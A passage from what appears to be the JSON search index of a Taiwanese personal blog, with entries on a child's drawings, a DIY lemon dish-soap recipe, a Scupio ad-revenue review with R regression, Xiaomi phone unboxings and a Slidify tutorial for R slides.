src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-7.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-8\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-8.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-9\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-9.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-10\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-10.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-11\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-11.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-12\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-13\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-13.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-14\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-14.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-16\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-16.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-18\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-18.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-20\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-20.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-21\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-21.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-15\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-15.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-19\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-19.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-17\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-17.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-22\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-22.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-23\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-23.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-24\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-24.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-25\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-25.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-26\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-26.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-27\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-27.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-28\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-28.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-29\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-29.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-30\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-30.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-31\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-31.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-32\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-32.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-33\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-33.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-34\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-34.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-36\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-36.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-37\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-37.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-35\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-35.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-38\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-38.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-39\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-39.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-40\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-40.jpg\"\u003e\u003c/p\u003e","title":"阿玄幼兒園中班的塗鴉畫"},{"content":"這裡介紹檸檬精油天然洗碗精的 DIY 製作步驟，成本低廉，既健康又環保。\n一般 DIY 自製的檸檬蘆薈清潔劑可以用在很多地方，不過由於蘆薈通常不容易取得，而且蘆薈大黃素的處理也需要一些技巧，對某些人來說要自行製作有蘆薈的清潔劑可能不是那麼方便。\n如果只是要洗餐盤、碗筷、抽油煙機、流理台等廚房用的洗碗精，其實可以不需要加蘆薈，這樣可以讓製作過程變得很簡單。\n材料 以下是製作檸檬精油天然洗碗精所需要使用到的材料。\n材料 說明 檸檬 檸檬或萊姆。 酒精 台灣菸酒的 95 度優質酒精。 鹽 一般市售的高級精鹽。 椰子油起泡劑 35% 的椰子油起泡劑。 純淨水 一般的過濾水、加水站的 RO 水或純水皆可。 製作洗碗精建議使用 35% 的椰子油起泡劑，這樣製作出來的洗碗精會比較好沖洗，適合用來洗各種碗盤與餐具等，購買時請注意不要誤買為 70% 的椰子油起泡劑。\n酒精的話就使用台灣菸酒一瓶 0.5 公升的 95 度優質酒精即可，詳細的照片可以參考後面的教學內容。\n製作步驟 檸檬精油洗碗精製作步驟可分為兩個主要的部份：\n萃取檸檬精油，製作檸檬精油酒精。 混合所有材料，製作檸檬精油洗碗精。 以下是整體的流程圖：\n檸檬與酒精比例 由於 2.5 斤的檸檬剛好可以配合一瓶酒精（500 毫升）萃取檸檬精油，這個比例在實作上比較方便，所以建議可以在第一步萃取檸檬精油時，使用這個比例，如果檸檬精油酒精用不完，也可以暫時存放在酒精的玻璃瓶中保存，等以後需要時再使用，這樣會比較方便。\n材料 比例 檸檬（尚未削皮） 2.5 斤 酒精 一瓶（500 毫升） 洗碗精中檸檬精油的含量越高，清潔能力越好，不過也會比較容易造成皮膚乾澀，如果希望清潔能力好一點，可以使用一瓶酒精搭配 3 斤的檸檬來萃取比較多的精油，不過這樣平常使用洗碗精時就要注意，可能需要戴手套。\n洗碗精混合比例 在檸檬精油酒精製作完成後，就可以依照自己的需求調製洗碗精，以下是製作不同容量的洗碗精時，各種材料所需的量，您也可以依照相同的比例計算適合自己的配方。\n材料 小容量配方 中容量配方 大容量配方 水 1.5 公升 4.5 公升 15 公升 檸檬精油酒精 150 毫升 450 毫升 1.5 公升 鹽 100 公克 300 公克 1 公斤 起泡劑 300 毫升 900 毫升 3 公升 總體積 約 2 公升 約 6 公升 約 20 公升 適合容器 2 公升寶特瓶 6 公升寶特瓶 20 公升果糖桶 這裡我們將原本檸檬蘆薈清潔劑的蘆薈部份省去，將 35% 椰子油起泡劑調高為 3 倍做成濃縮配方，非常適合廚房使用，用量省、清潔去污能力佳。一般情況下請取少量使用，或是取少量置於小碗中加水稀釋後使用。\n這裡的配方皆限用 35% 椰子油起泡劑。\n接下來是實作教學，請繼續閱讀下一頁。\n萃取檸檬精油 製作檸檬精油洗碗精的第一步就是使用酒精萃取檸檬精油，製作成檸檬精油酒精。\nStep 1\n準備檸檬 2.5 斤的檸檬，將檸檬洗淨後晾乾或擦乾。若有環保酵素的話，可以使用環保酵素加水稀釋後，浸泡 45 分鐘，去除檸檬表皮上的農藥。\n我這裡是使用有機的萊姆來做示範。\nStep 2\n將檸檬的皮削下來。\n由於檸檬精油都是在綠色的皮裡面，所以削的時候只削綠色的皮就好，裡面白色的部份盡量不要削到。\nStep 3\n將削下來的檸檬皮放進玻璃罐中。\nStep 4\n準備 1 瓶 95 度優質酒精。\nStep 5\n將酒精倒入玻璃罐中。\nStep 6\n蓋上玻璃罐，讓檸檬皮浸泡酒精 24 小時，萃取檸檬精油。\nStep 7\n由於檸檬皮浸泡酒精需要 24 小時的時間，這時候可以先來處理削完皮的檸檬。削皮之後的檸檬比較不耐放，通常這麼多的檸檬一次吃不完，可以先用密封袋裝起來放冰箱，這樣可以儲存比較久一些（不過建議還是儘早使用完比較好）。\n檸檬榨汁之後，加上蜂蜜也是很健康的飲料，我們家阿玄很喜歡自己榨檸檬汁來喝。\nStep 8\n等待檸檬皮浸泡酒精 24 小時之後，就可以將檸檬精油酒精倒出來。先準備裝酒精的容器與過濾檸檬皮的濾網，以及一個漏斗。\nStep 9\n使用濾網過濾檸檬精油酒精，將酒精與檸檬皮分開。\n這是過濾出來的檸檬精油酒精，這裡面就含有我們需要的檸檬精油。\n而剩下的檸檬皮在這裡就沒有用了。\nStep 10\n如果您沒有要馬上製作清潔劑的話，可以再將檸檬精油酒精裝回原本的酒精玻璃罐中保存。\n用漏斗把檸檬精油酒精倒回酒精玻璃罐中。\n將檸檬精油酒精裝罐之後，就可以不用急著馬上使用完，對一般人來說比較方便。\n製作檸檬精油洗碗精 將含有檸檬精油的檸檬精油酒精製作好之後，接下來就可以混合所有的材料，製作檸檬精油洗碗精了。這裡我們示範小容量的配方，這個配方大約可以製作一瓶 2 公升保特瓶的洗碗精。\nStep 1\n準備純淨水 1.5 公升、檸檬精油酒精 150 毫升、椰子油起泡劑 300 毫升、鹽巴 100 公克。\nStep 2\n準備一個比較大一點的容器，混合所有的材料。首先把 100 公克的鹽巴倒進去。\nStep 3\n加入 1.5 公升的水。\n充分攪拌，讓鹽巴完全溶解。\nStep 4\n從之前製作好的檸檬精油酒精中，倒出 150 毫升。\n這裡我們只需要 150 毫升的檸檬精油酒精，剩餘的檸檬精油酒精可以留起來下次使用。\nStep 5\n倒入檸檬精油酒精，與鹽水混合。\nStep 6\n準備椰子油起泡劑 300 毫升。\nStep 7\n倒入 300 毫升的椰子油起泡劑。\nStep 8\n充分攪拌，讓所有的材料均勻混合。\n我們家阿玄對這個很有興趣。\nStep 9\n當所有的材料都混合均勻之後，洗碗精就製作完成了，接著可將製作好的洗碗精裝罐。\n由於這裡使用 35% 的椰子油起泡劑，所以只要充分攪拌均勻，裝罐靜置 15 小時後即可使用。\n這裡示範的配方所製作出來的洗碗精，大約剛好是一瓶 2 公升寶特瓶的量。\n一般五金行都會有類似這種的壓瓶，這樣裝罐之後再貼上自己的貼紙，就是一瓶很高級的手工檸檬精油洗碗精了。\n如果一次製作的量比較多，也可以將洗碗精裝進起泡劑的罐子保存，這種罐子的材質也很不錯。\n而其他的一些容器也可以拿來裝洗碗精。\n這些就是製作好的手工檸檬精油洗碗精。\n這種手工檸檬精油洗碗精配上漂亮的壓瓶與貼紙，拿來當成伴手禮也很不錯。\n這裡的檸檬精油天然洗碗精貼紙是我自己設計的，設計好之後再去找印刷廠印成貼紙，大量印製的成本很低。\n這是貼紙的 AI 檔，需要的人可以下載回去，然後拿去印刷廠就可以印了。\n名稱：檸檬精油天然洗碗精貼紙\n下載：handmade-lemon-dishwashing-liquid-cs5.zip\n","permalink":"https://blog.gtwang.org/diy/handmade-lemon-dishwashing-liquid/","summary":"\u003cp\u003e這裡介紹檸檬精油天然洗碗精的 DIY 製作步驟，成本低廉，既健康又環保。\u003c/p\u003e\n\u003cp\u003e一般 \u003ca href=\"/diy/diy-handmade-lemon-aloe-cleaner-small-family-recipe/\"\u003eDIY 自製的檸檬蘆薈清潔劑\u003c/a\u003e可以用在很多地方，不過由於蘆薈通常不容易取得，而且蘆薈大黃素的處理也需要一些技巧，對某些人來說要自行製作有蘆薈的清潔劑可能不是那麼方便。\u003c/p\u003e","title":"[DIY] 檸檬精油天然洗碗精：低泡沫濃縮配方，手工製作教學"},{"content":"酷比 Scupio 廣告是台灣的一家網路廣告商，這裡分享一下我的使用心得。\n酷比 Scupio 廣告類似 Google AdSense 廣告，可以讓網站透過放置廣告獲利，其對象以繁體中文網站為主，單月網頁瀏覽頁次達 30 萬次以上才能申請（不過似乎不是硬性規定），最近我拿 G. T. Wang 部落格去申請之後，試用了一陣子，以下是一些重點整理，如果您也有考慮在網站放置廣告的話，可以參考一下。\n廣告大小 酷比廣告提供將近三十種廣告版型，選擇性比 Google AdSense 還要豐富，對於大部分的網站而言應該都可以找到適合的廣告大小。\n酷比的文字廣告也仿照 Google AdSense 的設定，可以選擇邊框、背景、廣告標題與廣告內文的顏色。\n浮動廣告 浮動廣告（floating ads）是指將廣告固定在瀏覽器頁面的某個位置上，不管捲軸如何拉動，浮動廣告都會維持在原來的位置，藉由這樣的方式吸引使用者的注意，增加廣告點擊率。\n由於浮動廣告通常很容易造成讀者的反感，對於使用者體驗來說非常不利，因此大部分的廣告商都會禁止使用浮動廣告，不過酷比廣告的使用條款並沒有明確禁止使用浮動廣告，所以如果您想要使用浮動廣告，是可以用的。\n非同步與 HTTPS 加密 酷比廣告的程式碼技術還不錯，以下是一個 300x250 的廣告程式碼：\n\u0026lt;ins class=\u0026#34;scupioadslot\u0026#34; style=\u0026#34;display:inline-block;width:300px;height:250px;\u0026#34; data-sca-pub=\u0026#34;lQwZGRk2RC9URQoR\u0026#34; data-sca-web=\u0026#34;4176\u0026#34; data-sca-category=\u0026#34;16\u0026#34; data-sca-cid=\u0026#34;13763\u0026#34; data-sca-width=\u0026#34;300px\u0026#34; data-sca-height=\u0026#34;250px\u0026#34; data-sca-background-color=\u0026#34;#f1f1f1\u0026#34; data-sca-title-color=\u0026#34;#0093c2\u0026#34; data-sca-title-font-family=\u0026#34;Microsoft JhengHei\u0026#34; data-sca-title-font-size=\u0026#34;16px\u0026#34; data-sca-description-color=\u0026#34;#000000\u0026#34; data-sca-description-font-family=\u0026#34;Microsoft JhengHei\u0026#34; data-sca-description-font-size=\u0026#34;12px\u0026#34; data-sca-mobile-font-size=\u0026#34;28px\u0026#34; data-sca-border-color=\u0026#34;#f1f1f1\u0026#34; \u0026gt;\u0026lt;/ins\u0026gt;\u0026lt;script async src=\u0026#34;//img.scupio.com/js/ad.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 其仿照 Google AdSense 港告的載入方式，預設就使用非同步（async）的方式載入廣告，比較不會拖慢網頁載入的速度，而且同時也支援 HTTPS 加密的網頁，不管是放在有加密還是沒加密的網頁中都沒有問題。\n廣告收益 廣告收益是最重要的指標，我在文章的最下方放置了一個 300x250 的廣告，以下是放置了一段時間之後的廣告收益報表。\n廣告開啟次數 廣告點擊數/互動次數 點閱率/互動率 收益 eCPM 396,189 250 0.063 478.3 1.21 從這個表格看起來，每次點擊的收益似乎是 478.3 / 250 = 1.9132 元，但是我將每天的資料都讀進 R 中做了簡單的分析之後，卻發現不是這麼回事。\n這是廣告開啟次數（PageView）、廣告點擊數（Clicks）、點閱率（CTR）、收益（Revenue）與 eCPM 的相關矩陣（correlation matrix）：\n我們最有興趣的通常是收益（Revenue）與其他變數的關係，而收益與其他變數之間的相關性，最顯著的就是 eCPM，不過 eCPM 與收益有高度正相關是很正常的，排除掉 eCPM 之後，剩下的就是 PageView，其相關係數有 0.43，高於 Clicks 的 0.24，也就是說若想要有比較高的獲利，點擊數目並不是重點，網頁的瀏覽量才是關鍵。\n就整體而言，酷比廣告的收益還是不如 Google AdSense 的，所以 Google AdSense 還是首選。然而由於酷比廣告的點擊並不太會影響廣告的收益，個人建議的做法是可以在放置 Google AdSense 的廣告之後，若有多餘的空間（例如網頁最底端），才考慮放置酷比廣告。而浮動廣告的話，雖然酷比廣告允許使用，不過照這樣的報表來看，可能收益也差不了太多。\n以上是我個人的使用經驗與數據，不同的網站狀況有可能不同，這裡的推論只是提供大家一個參考。最後附上這張圖的 R 的程式碼：\nlibrary(PerformanceAnalytics) ad \u0026lt;- read.csv(\u0026#34;ad.csv\u0026#34;) chart.Correlation(ad) 如果您對 R 語言有興趣，可以參考 R 的教學文章。\n進階分析 這裡是後來於 2016/09/25 補充的資料，最近因為 Google AdSense 的廣告政策大改版，原本一張網頁只能擺放三個廣告的限制現在完全解除，所以我就直接把酷比的廣告拿掉，統一擺放 Google AdSense 的廣告，不僅收益較高，管理也方便。\n而我在停用酷比廣告後，將酷比廣告的所有資料整個抓出來再分析一次，這裡的資料是從 2016/6/6 到 2016/9/20 的資料，總共有 107 天，計算出來的相關係數如下：\n基本上這裡的結論跟之前少量資料的情況差不多，只不過 PageView 與 Revenue 的相關系統變成 0.73，更反應出網頁瀏覽量的重要性遠高於廣告點擊量。\n接著我用一般的線性迴歸模型看一下收益（Revenue）與網頁瀏覽量（PageView）以及廣告點擊量（Clicks）之間的關係：\nad.lm \u0026lt;- lm(Revenue ~ 0 + Pageview + Clicks, ad) summary(ad.lm) Call: lm(formula = Revenue ~ 0 + Pageview + Clicks, data = ad) Residuals: Min 1Q Median 3Q Max -3.8325 -1.3117 -0.2875 1.2288 6.5995 Coefficients: Estimate Std. Error t value Pr(\u003e|t|) Pageview 1.039e-03 4.325e-05 24.030 \u003c 2e-16 *** Clicks 2.353e-01 6.869e-02 3.425 0.000878 *** --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 2.044 on 105 degrees of freedom Multiple R-squared: 0.9773,\tAdjusted R-squared: 0.9769 F-statistic: 2262 on 2 and 105 DF, p-value: \u003c 2.2e-16 結果顯示 Pageview 與 Clicks 兩個解釋變數在這個迴歸模型中都是顯著的，而 Pageview 的顯著性又比 Clicks 還高出非常多。在係數上 Pageview 是 1.039e-03，這個數字代表的是平均每次瀏覽網頁所產生的收益，而 Clicks 的係數 2.353e-01 則是代表平均每次廣告點擊所產生的收益。\n這裡分析用的原始資料我放在 scupio-ad-reviews-2016-raw-data.csv，如果想要進一步研究的人，可以下載回去看看。\n參考資料 WFU Blog R-bloggers ","permalink":"https://blog.gtwang.org/web-development/scupio-ad-reviews-2016/","summary":"\u003cp\u003e酷比 Scupio 廣告是台灣的一家網路廣告商，這裡分享一下我的使用心得。\u003c/p\u003e\n\u003cp\u003e酷比 Scupio 廣告類似 Google AdSense 廣告，可以讓網站透過放置廣告獲利，其對象以繁體中文網站為主，單月網頁瀏覽頁次達 30 萬次以上才能申請（不過似乎不是硬性規定），最近我拿 G. T. Wang 部落格去申請之後，試用了一陣子，以下是一些重點整理，如果您也有考慮在網站放置廣告的話，可以參考一下。\u003c/p\u003e","title":"酷比 Scupio 廣告使用心得（2016 年）"},{"content":"這是最近買的紅米炫彩超值組合，五個紅米手機保護套，只要 49 元。\n我兩年前買的一隻紅米 1S 手機，到現在還很好用，但保護套有點舊了，剛好小米官方網站有紅米保護套的促銷組合，花 49 元加上 100 元運費就有五個保護套，很划算。\n紅米炫彩超值組合。\n這個組合有四個翻蓋支架保護套，還有一個軟膠保護套。\n翻蓋支架保護套。\n紅米手機清水軟膠保護套。\n","permalink":"https://blog.gtwang.org/unboxing/mi-phone-1s-cases/","summary":"\u003cp\u003e這是最近買的紅米炫彩超值組合，五個紅米手機保護套，只要 49 元。\u003c/p\u003e\n\u003cp\u003e我兩年前買的一隻\u003ca href=\"/unboxing/pchome-mi-phone-1s/\"\u003e紅米 1S 手機\u003c/a\u003e，到現在還很好用，但保護套有點舊了，剛好小米官方網站有紅米保護套的促銷組合，花 49 元加上 100 元運費就有五個保護套，很划算。\u003c/p\u003e","title":"[開箱] 紅米炫彩超值組合，紅米手機保護套"},{"content":"這是我這週買的小米 Max 手機與智慧顯示保護套，簡單開箱紀錄一下。\n我這次買了一台小米 Max 手機（7499 元）、金色的智慧顯示保護套（295 元），還有螢幕保護貼（95 元），從小米官方網站下訂，兩天後就送到了，這是收到外盒紙箱。\n打開後裡面就是這三件東西。\n這就是小米 Max 手機，有 6.44 吋超大螢幕。\n小米 Max 手機與配件，其配件很簡單，只有一個 USB 充電器與 USB 連接線而已。\n小米 Max 手機背面。\n手機側邊的電源與音量鍵。\n手機頂部是耳機插孔以及紅外線遙控器，可以做為家用電器的遙控器。\nSIM 卡與 MicroSD 卡插槽。\n底部是 USB 充電與連接電腦的的接孔。\n相機與閃光燈。\n手機背部有指紋辨識的功能。\n另外還有附帶一根安裝 SIM 卡與 MicroSD 卡的針，將這根針插進卡槽旁邊的小洞，就可以退出卡槽。\n這是SIM 卡與 MicroSD 卡的卡槽。\n這個卡槽可以放置一張 SIM 卡與一張 MicroSD 卡，或是放置兩張 SIM 卡。\n這是這次一起買的金色的智慧顯示保護套與螢幕保護貼。\n螢幕保護貼跟以往一樣，有一張練習貼加上兩張正式貼，沒經驗的人可以先練習過再貼。\n小米 Max 的螢幕很大，螢幕旁邊的玻璃是圓弧狀的，而它的螢幕保護貼有稍微小一點點，很好貼。\n這是貼完螢幕保護貼的樣子。\n接下來就是金色的智慧顯示保護套。\n這個保護套就直接把手機扣上去就完成了，沒有什麼東西需要黏貼的。\n這是把智慧顯示保護套的蓋子蓋上的樣子，蓋子上透明的部分可以方便使用者觀看來電顯示。\n保護套的蓋子蓋起來的時候，會稍微翹起來，我想應該用久了就會伏貼了。\n這是小米 Max 手機裝上智慧顯示保護套後，背面的樣子。\n保護套背面露出鏡頭、閃光燈與指紋辨識。\n手機底部的樣子。\n當打開智慧顯示保護套時，手機會自動開啟螢幕，而蓋上時則會自動關閉螢幕，所以可以有效減少實體按鍵的使用率。\n以上就是簡單的開箱文。\n","permalink":"https://blog.gtwang.org/unboxing/xiaomi-mi-max-mobile/","summary":"\u003cp\u003e這是我這週買的小米 Max 手機與智慧顯示保護套，簡單開箱紀錄一下。\u003c/p\u003e\n\u003cp\u003e我這次買了一台小米 Max 手機（7499 元）、金色的智慧顯示保護套（295 元），還有螢幕保護貼（95 元），從小米官方網站下訂，兩天後就送到了，這是收到外盒紙箱。\u003c/p\u003e","title":"[開箱] 小米 Max 手機，6.44 吋超大螢幕"},{"content":"這是阿玄溜直排輪的一些照片與影片，拍攝日期為 2016 年 7 月 4 日。\n","permalink":"https://blog.gtwang.org/personal/qixuan-roller-blading-20160704/","summary":"\u003cp\u003e這是阿玄溜直排輪的一些照片與影片，拍攝日期為 2016 年 7 月 4 日。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-6.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-7.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-8.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄溜直排輪\" loading=\"lazy\" src=\"/personal/qixuan-roller-blading-20160704/qixuan-roller-blading-20160704-9.jpg\"\u003e\u003c/p\u003e","title":"阿玄溜直排輪"},{"content":"這裡介紹如何在 RStudio 環境中使用 RMarkDown 與 Slidify 製作 R 語言的簡報。\nSlidify 是一個可以讓使用者以 RMarkDown 語法製作 R 簡報的工具，除了可以將簡報中的 R 程式碼排版並加上顏色之外，還可以自動執行 R 程式碼，並將程式的文字與圖形輸出直接放進簡報中，對於以 R 語言為主的簡報非常好用，以下是 Slidify 的安裝與簡單的使用教學。\n安裝 Slidify 最新的 Slidify 可以從 GitHub 上面取得，若要在 R 中安裝需要使用 devtools 這個套件，若沒有安裝這個套件的人，請先安裝：\ninstall.packages(devtools) require(devtools) 接著使用 devtools 安裝 slidify 與 slidifyLibraries 兩個套件：\ninstall_github(\u0026#34;slidify\u0026#34;, \u0026#34;ramnathv\u0026#34;) install_github(\u0026#34;slidifyLibraries\u0026#34;, \u0026#34;ramnathv\u0026#34;) library(slidify) 這樣 Slidify 的安裝工作就完成了。\n建立 R 簡報檔案 首先載入 slidify 這個 R 套件：\nlibrary(slidify) 接著呼叫 author 這個函數產生基本的 R 簡報範本，其第一個參數是指定簡報檔的目錄名稱，直接取一個自己喜歡的名稱即可，author 會在家目錄中自動建立這個目錄：\nauthor(\u0026#34;demo\u0026#34;) 簡報檔範本建立之後，就會自動顯示在 RStudio 中。\n這是簡報檔的範本，在預設的簡報檔範本中就已經有一些很不錯的設定，初學者只需要填入基本的簡報資訊，就可以開始製作自己的簡報。\n--- title : subtitle : author : job : framework : io2012 # {io2012, html5slides, shower, dzslides, ...} highlighter : highlight.js # {highlight.js, prettify, highlight} hitheme : tomorrow # widgets : [] # {mathjax, quiz, bootstrap} mode : selfcontained # {standalone, draft} knit : slidify::knit2slides --- ## Read-And-Delete 1. Edit YAML front matter 2. Write using R Markdown 3. Use an empty line followed by three dashes to separate slides! --- .class #id ## Slide 2 填入簡報的標題（title）、副標題（subtitle）、作者（author）與職稱（job）之後，就可以產生一份測試的簡報。\n產生簡報的方式有好幾種，最基本的方式是以指令來控制：\nslidify(\u0026#34;index.Rmd\u0026#34;) 這樣就會依據 index.Rmd 這個原始檔產生一個 html 網頁簡報檔，然後直接以瀏覽器開啟就可以觀看。\n另外一個比較快速的方式是按下 RStudio 編輯器上面的「Knit」按鈕，它的效果跟上面這個指令相同，而且會自動開啟預覽視窗，不需要手動打開瀏覽器。\n另外亦可使用 Ctrl + Shift + k 這個快速鍵，其作用與「Knit」按鈕相同。\nSlidify 的簡報首頁還可以加入一個代表性的 logo，加入的方式是將圖形放置在 assets/img/ 目錄之下，並在 Rmd 檔案的檔頭加入 logo 的選項：\nlogo: logo.png 這樣就可以讓簡報顯示自己的 logo。\n若要調整程式碼的配色，可以從 Rmd 檔頭的 hitheme 選項來調整，以預設的 highlight.js 來說，其可用的選項可以從簡報目錄中的 libraries/highlighters/highlight.js/css/ 來查看，這個目錄下面的 css 檔案的檔案名稱就是可用的選項。另外簡報的配色也可以從 assets/css/ 中的 css 檔案來修改，或是直接從官方的範本複製過來也可以，修改一下之後，就可以得到漂亮的簡報了。\n","permalink":"https://blog.gtwang.org/r/r-slide-using-rmarkdown-and-slidify-in-rstudio/","summary":"\u003cp\u003e這裡介紹如何在 RStudio 環境中使用 RMarkDown 與 Slidify 製作 R 語言的簡報。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://slidify.github.io/\"\u003eSlidify\u003c/a\u003e 是一個可以讓使用者以 \u003ca href=\"https://rmarkdown.rstudio.com/\"\u003eRMarkDown\u003c/a\u003e 語法製作 R 簡報的工具，除了可以將簡報中的 R 程式碼排版並加上顏色之外，還可以自動執行 R 